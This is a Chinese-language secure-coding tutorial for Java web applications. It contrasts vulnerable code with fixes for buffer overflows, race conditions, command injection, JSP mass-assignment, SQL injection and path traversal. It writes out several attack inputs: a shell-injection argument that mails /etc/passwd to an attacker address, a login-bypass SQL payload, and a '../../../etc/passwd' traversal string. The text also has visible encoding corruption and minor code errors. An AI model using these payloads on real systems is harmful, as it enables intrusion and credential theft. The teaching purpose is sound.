編寫安全的Internet應(yīng)用并不是一件輕而易舉的事情：只要看看各個專業(yè)公告板就可以找到連續(xù)不斷的安全漏洞報告。你如何保證自己的Internet應(yīng)用不象其他人的應(yīng)用那樣滿是漏洞？你如何保證自己的名字不會出現(xiàn)在令人難堪的重大安全事故報道中？

概述和溢出

　　一、概述

　　編寫安全的Internet應(yīng)用并不是一件輕而易舉的事情：只要看看各個專業(yè)公告板就可以找到連續(xù)不斷的安全漏洞報告。你如何保證自己的Internet應(yīng)用不象其他人的應(yīng)用那樣滿是漏洞？你如何保證自己的名字不會出現(xiàn)在令人難堪的重大安全事故報道中？

　　如果你使用Java Servlet、JavaServer Pages（JSP）或者EJB，許多難以解決的問題都已經(jīng)事先解決。當然，漏洞仍有可能出現(xiàn)。下面我們就來看看這些漏洞是什么，以及為什么Java程序員不必擔心部分C和Perl程序員必須面對的問題。

　　C程序員對安全漏洞應(yīng)該已經(jīng)很熟悉，但象OpenBSD之類的工程提供了處理此類問題的安全系統(tǒng)。Java語言處理這類問題的經(jīng)驗要比C少20年，但另一方面，Java作為一種客戶端編程語言誕生，客戶端對安全的要求比服務(wù)器端苛刻得多。它意味著Java的發(fā)展有著一個穩(wěn)固的安全性基礎(chǔ)。

　　Java原先的定位目標是瀏覽器。然而，瀏覽器本身所帶的Java虛擬機雖然很不錯，但卻并不完美。Sun的《Chronology of security-related bugs and issues》總結(jié)了運行時環(huán)境的漏洞發(fā)現(xiàn)歷史。我們知道，當Java用作服務(wù)器端編程語言時，這些漏洞不可能被用作攻擊手段。但即使Java作為客戶端編程語言，重大安全問題的數(shù)量也從1996年的6個（其中3個是相當嚴重的問題）降低到2000年的1個。不過，這種安全性的相對提高并不意味著Java作為服務(wù)器端編程語言已經(jīng)絕對安全，它只意味著攻擊者能夠使用的攻擊手段越來越受到限制。那么，究竟有哪些地方容易受到攻擊，其他編程語言又是如何面對類似問題的呢？

　　二、緩存溢出

　　在C程序中，緩存溢出是最常見的安全隱患。緩存溢出在用戶輸入超過已分配內(nèi)存空間（專供用戶輸入使用）時出現(xiàn)。緩存溢出可能成為導致應(yīng)用被覆蓋的關(guān)鍵因素。C程序很容易出現(xiàn)緩存溢出，但Java程序幾乎不可能出現(xiàn)緩存溢出。

　　從輸入流讀取輸入數(shù)據(jù)的C代碼通常如下所示：

　　char buffer[1000];

　　int len = read(buffer);

　　由于緩存的大小在讀入數(shù)據(jù)之前確定，系統(tǒng)要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶能夠覆蓋程序數(shù)據(jù)結(jié)構(gòu)的關(guān)鍵部分，從而帶來了安全上的隱患。有經(jīng)驗的攻擊者能夠利用這一點直接把代碼和數(shù)據(jù)插入到正在運行的程序。

　　在Java中，我們一般用字符串而不是字符數(shù)組保存用戶輸入。與前面C代碼等價的Java代碼如下所示：

　　String buffer = in.readLine();

　　在這里，“緩存”的大小總是和輸入內(nèi)容的大小完全一致。由于Java字符串在創(chuàng)建之后不能改變，緩存溢出也就不可能出現(xiàn)。退一步說，即使用字符數(shù)組替代字符串作為緩存，Java也不象C那樣容易產(chǎn)生可被攻擊者利用的安全漏洞。例如，下面的Java代碼將產(chǎn)生溢出：

　　char[] bad = new char[6];

　　bad[7] = 50;這段代碼總是拋出一個java.lang.ArrayOutOfBoundsException異常，而該異?？梢杂沙绦蜃孕胁东@：

　　try {

　　char[] bad = new char[6];

　　bad[7] = 50;

　　}

　　catch (ArrayOutOfBoundsException ex) {

　　... }

　　這種處理過程永遠不會導致不可預料的行為。無論用什么方法溢出一個數(shù)組，我們總是得到ArrayOutOfBoundsException異常，而Java運行時底層環(huán)境卻能夠保護自身免受任何侵害。一般而言，用Java字符串類型處理字符串時，我們無需擔心字符串的ArrayOutOfBoundsExceptions異常，因此它是一種較為理想的選擇。

　　Java編程模式從根本上改變了用戶輸入的處理方法，避免了輸入緩存溢出，從而使得Java程序員擺脫了最危險的編程漏洞。

　　三、競爭狀態(tài)

　　競爭狀態(tài)即Race Condition，它是第二類最常見的應(yīng)用安全漏洞。在創(chuàng)建（更改）資源到修改資源以禁止對資源訪問的臨界時刻，如果某個進程被允許訪問資源，此時就會出現(xiàn)競爭狀態(tài)。這里的關(guān)鍵問題在于：如果一個任務(wù)由兩個必不可少的步驟構(gòu)成，不管你多么想要讓這兩個步驟一個緊接著另一個執(zhí)行，操作系統(tǒng)并不保證這一點。例如，在數(shù)據(jù)庫中，事務(wù)機制使得兩個獨立的事件“原子化”。換言之，一個進程創(chuàng)建文件，然后把這個文件的權(quán)限改成禁止常規(guī)訪問；與此同時，另外一個沒有特權(quán)的進程可以處理該文件，欺騙有特權(quán)的進程錯誤地修改文件，或者在權(quán)限設(shè)置完畢之后仍繼續(xù)對原文件進行訪問。

　　一般地，在標準Unix和NT環(huán)境下，一些高優(yōu)先級的進程能夠把自己插入到任務(wù)的多個步驟之間，但這樣的進程在Java服務(wù)器上是不存在的；同時，用純Java編寫的程序也不可能修改文件的許可權(quán)限。因此，大多數(shù)由文件訪問導致的競爭狀態(tài)在Java中不會出現(xiàn)，但這并不意味著Java完全地擺脫了這個問題，只不過是問題轉(zhuǎn)到了虛擬機上。

　　我們來看看其他各種開發(fā)平臺如何處理這個問題。在Unix中，我們必須確保默認文件創(chuàng)建模式是安全的，比如在服務(wù)器啟動之前執(zhí)行“umask 200”這個命令。有關(guān)umask的更多信息，請在Unix系統(tǒng)的命令行上執(zhí)行“man umask”查看umask的man文檔。

　　在NT環(huán)境中，我們必須操作ACL（訪問控制表，Access Control List）的安全標記，保護要在它下面創(chuàng)建文件的目錄。NT的新文件一般從它的父目錄繼承訪問許可。請參見NT文檔了解更多信息。

　　Java中的競爭狀態(tài)大多數(shù)時候出現(xiàn)在臨界代碼區(qū)。例如，在用戶登錄過程中，系統(tǒng)要生成一個唯一的數(shù)字作為用戶會話的標識符。為此，系統(tǒng)先產(chǎn)生一個隨機數(shù)字，然后在散列表之類的數(shù)據(jù)結(jié)構(gòu)中檢查這個數(shù)字是否已經(jīng)被其他用戶使用。如果這個數(shù)字沒有被其他用戶使用，則把它放入散列表以防止其他用戶使用。代碼如Listing 1所示：

　　(Listing 1)

　　// 保存已登錄用戶的ID

　　Hashtable hash;

　　// 隨機數(shù)字生成器

　　Random rand;

　　// 生成一個隨機數(shù)字

　　Integer id = new Integer(rand.nextInt());

　　while (hash.containsKey(id))

　　{

　　id = new Integer(rand.nextInt());

　　}

　　// 為當前用戶保留該ID

　　hash.put(id, data);

　　Listing 1的代碼可能帶來一個嚴重的問題：如果有兩個線程執(zhí)行Listing 1的代碼，其中一個線程在hash.put(...)這行代碼之前被重新調(diào)度，此時同一個隨機ID就有可能被使用兩次。在Java中，我們有兩種方法解決這個問題。首先，Listing 1的代碼可以改寫成Listing 2的形式，確保只有一個線程能夠執(zhí)行關(guān)鍵代碼段，防止線程重新調(diào)度，避免競爭狀態(tài)的出現(xiàn)。第二，如果前面的代碼是EJB服務(wù)器的一部分，我們最好有一個利用EJB服務(wù)器線程控制機制的唯一ID服務(wù)。

　　(Listing 2)

　　synchronized(hash)

　　{

　　// 生成一個唯一的隨機數(shù)字

　　Integer id =

　　new Integer(rand.nextInt());

　　while (hash.containsKey(id))

　　{

　　id = new Integer(rand.nextInt());

　　}

　　// 為當前用戶保留該ID

　　hash.put(id, data);

　　}

　　四、字符串解釋執(zhí)行

　　在有些編程語言中，輸入字符串中可以插入特殊的函數(shù)，欺騙服務(wù)器使其執(zhí)行額外的、多余的動作。下面的Perl代碼就是一個例子：

　　$data = "mail body";

　　system("/usr/sbin/sendmail -t $1 < $data");

　　顯然，這些代碼可以作為CGI程序的一部分，或者也可以從命令行調(diào)用。通常，它可以按照如下方式調(diào)用：

　　perl script.pl honest@true.com

　　它將把一個郵件（即“mail body”）發(fā)送給用戶honest@true.com。這個例子雖然簡單，但我們卻可以按照如下方式進行攻擊：

　　perl script.pl honest@true.com;mail

　　cheat@liarandthief.com < /etc/passwd

　　這個命令把一個空白郵件發(fā)送給honest@true.com，同時又把系統(tǒng)密碼文件發(fā)送給了cheat@liarandthief.com。如果這些代碼是CGI程序的一部分，它會給服務(wù)器的安全帶來重大的威脅。

　　Perl程序員常常用外部程序（比如sendmail）擴充Perl的功能，以避免用腳本來實現(xiàn)外部程序的功能。然而，Java有著相當完善的API。比如對于郵件發(fā)送，JavaMail API就是一個很好的API。但是，如果你比較懶惰，想用外部的郵件發(fā)送程序發(fā)送郵件：

　　Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");

　　事實上這是行不通的。Java一般不允許把OS級“<”和“;”之類的構(gòu)造符號作為Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題：

　　Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");

　　但是，這種代碼是不安全的，它把前面Perl代碼面臨的危險帶入了Java程序。按照常規(guī)的Java方法解決問題有時看起來要比取巧的方法復雜一點，但它幾乎總是具有更好的可移植性、可擴展性，而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例子，其他許多情形更復雜、更隱蔽。

　　讓我們來考慮一下Java的映像API（Reflection API）。Java映像API允許我們在運行時決定調(diào)用對象的哪一個方法。任何由用戶輸入命令作為映像查找條件的時機都可能成為系統(tǒng)的安全弱點。例如，下面的代碼就有可能產(chǎn)生這類問題：

　　Method m = bean.getClass().getMethod(action, new Class[] {});

　　m.invoke(bean, new Object[] {});

　　如果“action”的值允許用戶改變，這里就應(yīng)該特別注意了。注意，這種現(xiàn)象可能會在一些令人奇怪的地方出現(xiàn)——或許最令人奇怪的地方就是JSP。大多數(shù)JSP引擎用映像API實現(xiàn)下面的功能：

　　<jsp:setProperty name="bean" property="*" />

　　這個Bean的set方法應(yīng)該特別注意，因為所有這些方法都可以被遠程用戶調(diào)用。例如，對于Listing 3的Bean和Listing 4的JSP頁面：

　　(Listing 3)

　　public class Example

　　{

　　public void setName(String name) {

　　this.name = name; }

　　public String getName() { return name; }

　　public void setPassword(String pass) {

　　this. pass = pass; }

　　public String getPassword() { return

　　pass; }

　　private String name;

　　private String pass;

　　}

　　(Listing 4)

　　<%@ page import="Example" %>

　　<jsp:useBean id="example" scope="page"

　　class="Example" />

　　<jsp:setProperty name="example" property="*" />

　　<html>

　　<head>

　　<title>Bean示例</title>

　　</head>

　　<body>

　　<form>

　　<input type="text" name="name" size="30">

　　<input type="submit" value="Submit">

　　</form>

　　</html>

　　從表面上看，這些代碼只允許用戶訪問example Bean的名字。然而，了解該系統(tǒng)的用戶可以訪問“http:///example.jsp?name=Fred&password=hack”這種URL。這個URL既改變name屬性，也改變password密碼屬性。當然，這應(yīng)該不是頁面編寫者的意圖，作者的意圖是設(shè)計一個只允許用戶訪問名字屬性的頁面。因此，在使用

　　<jsp:setProperty property="*" ... />。>   

　　時應(yīng)該非常小心

　　字符串被解釋執(zhí)行的問題可能在允許嵌入腳本代碼的任何環(huán)境中出現(xiàn)。例如，這類問題可能在Xalan（也稱為LotusXSL）中出現(xiàn)，當然這是指系統(tǒng)設(shè)置不嚴格、易受攻擊的情況下。

　　Xalan的腳本支持能夠關(guān)閉（而且這是Xalan的默認設(shè)置），在敏感的應(yīng)用中關(guān)閉腳本支持是一種明智的選擇。當你需要用DOM處理XML文檔時還必須考慮到另外一點：DOM保證所有文本都經(jīng)過正確的轉(zhuǎn)義處理，防止非法的標記插入到腳本之內(nèi)。LotusXSL缺乏這個功能，但這絕不是一個BUG。支持腳本是LotusXSL的一個特色，而且它（明智地）默認處于關(guān)閉狀態(tài)。XSL的W3C規(guī)范并沒有規(guī)定支持腳本的能力。

　　現(xiàn)在我們來看看字符串解釋執(zhí)行如何影響SQL和JDBC。假設(shè)我們要以用戶名字和密碼為條件搜索數(shù)據(jù)庫中的用戶，Listing 5的Servlet代碼看起來不錯，但事實上它卻是危險的。

　　(Listing 5)

　　String user = request.getAttribute("username");

　　String pass = request.getAttribute("password");

　　String query = "SELECT id FROM users WHERE

　　username="+user+" AND password="+pass;

　　Statement stmt = con.createStatement(query);

　　ResultSet rs = con.executeQuery(query);

　　if (rs.next())

　　{

　　// 登錄成功

　　int id = rs.getInt(1);

　　...

　　}

　　else

　　{

　　// 登錄失敗

　　...

　　}

　　如果用戶輸入的查詢條件中，用戶名字等于“fred”，密碼等于“something”，則系統(tǒng)執(zhí)行的查詢實際上是：

　　SELECT id FROM users WHERE

　　username=‘fred‘ AND password=

　　‘something‘

　　這個查詢能夠正確地對用戶名字和密碼進行檢查。但是，如果用戶輸入的查詢條件中，名字等于“fred‘ AND (‘a(chǎn)‘=‘b”，密碼等于“blah‘) OR ‘a(chǎn)‘=‘a(chǎn)”，此時系統(tǒng)執(zhí)行的查詢變成了：

　　SELECT id FROM users

　　WHERE username=‘fred‘ AND (

　　‘a(chǎn)‘=‘b‘ AND password=‘blah‘) OR ‘a(chǎn)‘=‘a(chǎn)‘

　　可以看出，這個查詢無法正確地對用戶名字和密碼進行檢查。Listing 6的代碼要安全得多，它從根本上防止了用戶修改SQL命令逃避檢查。

　　(Listing 6)

　　String user = request.getAttribute("username");

　　String pass = request.getAttribute("password");

　　String query = "SELECT id FROM users

　　WHERE username=? AND password=?";

　　PreparedStatement stmt = con.prepareStatement(query);

　　stmt.setString(1, user);

　　stmt.setString(2, pass);

　　ResultSet rs = stmt.executeQuery();

　　...

　　所有對文件系統(tǒng)的訪問都是字符串可能被解釋執(zhí)行的地方。用Java訪問文件系統(tǒng)時，我們應(yīng)該注意文件的命名方式。Listing 7是一個可能帶來危險的例子。這個程序根據(jù)用戶輸入決定讀取哪個文件，它的危險就在于攻擊者能夠輸入“../../../etc/passwd”這樣的文件名字并獲得系統(tǒng)的密碼文件。這可不是我們希望出現(xiàn)的事情。預防出現(xiàn)這種安全漏洞最簡單的方法是：除非絕對需要，否則不要使用平面文件（Flat File）。

　　(Listing 7)

　　public class UnsafeServlet

　　{

　　public void doGet(HttpServletRequest request,

　　HttpServletResponse response)

　　{

　　String product = request.getAttribute("product");

　　Reader fin = new FileReader(

　　"/usr/unsafe/products/"+ product);

　　BufferedReader in = new BufferedReader(fin);

　　String cost = in.readLine();

　　// 其他處理過程

　　response.getWriter().println(cost);

　　}

　　}

　　大多數(shù)服務(wù)器系統(tǒng)，包括Servlet、JSP和EJB，都支持不直接依賴文件系統(tǒng)訪問的配置方法。使用定制的SecurityManager或者使用一個簡單的檢查腳本（檢查程序是否直接操作文件系統(tǒng)以及是否使用映像API），我們就可以實施“無文件系統(tǒng)直接訪問”策略。盡管大多數(shù)應(yīng)用服務(wù)器允許使用文件系統(tǒng)，但一個好的EJB不會使用它。

　　最后，請務(wù)必不要忘記保持數(shù)據(jù)充分分離、精確定義這一良好的編程習慣。假設(shè)我們有一個用來保存用戶信息的數(shù)據(jù)庫，現(xiàn)在需要增加一個字段標示用戶是否具有超級用戶權(quán)限。如果在原來的表中增加一個列實在過于復雜，采用下面這種方法就變得很有吸引力：在用戶名字中加上一個特殊字符表示用戶是否具有特殊權(quán)限，當用戶登錄時檢查該特殊字符，以便防止非法用戶宣稱自己擁有特殊權(quán)限。但事實上，這種做法是非常有害的。所有的數(shù)據(jù)域，不管它是在數(shù)據(jù)庫中還是作為局部變量，都應(yīng)該精確定義且只保存一份信息。

　　五、基本原則總結(jié)

　　根據(jù)上述討論，我們得到如下防止出現(xiàn)安全問題的基本原則：

　　對于各個輸入域，嚴格地定義系統(tǒng)可接受的合法輸入字符，拒絕所有其他輸入內(nèi)容。

　　應(yīng)該盡可能早地對用戶輸入進行檢查，使得使用危險數(shù)據(jù)的區(qū)域減到最小。

　　不要依賴瀏覽器端JavaScript進行安全檢查（盡管對用戶來說這是一種非常有用的功能），所有已經(jīng)在客戶端進行的檢查應(yīng)該在服務(wù)器端再進行一次。

　　這些原則有助于消除大量的安全問題。本質(zhì)上，在應(yīng)用這一級上，URL和POST數(shù)據(jù)是用戶和應(yīng)用交互的唯一途徑，所以我們的注意力應(yīng)該集中在URL和用戶輸入數(shù)據(jù)的安全性上。

　　當然，簡單地遵從本文的建議并不能夠保證絕對的安全。你必須分析其他各方面的因素，包括網(wǎng)絡(luò)的安全性以及你所用到的其他服務(wù)的安全性。

　　每天都有新的安全漏洞被發(fā)現(xiàn)和修正。在系統(tǒng)足夠安全、可以連接到Internet之前，請務(wù)必聽取專家的建議；在正式提交源代碼之前，一定要留意可能存在的漏洞。小心永不過份。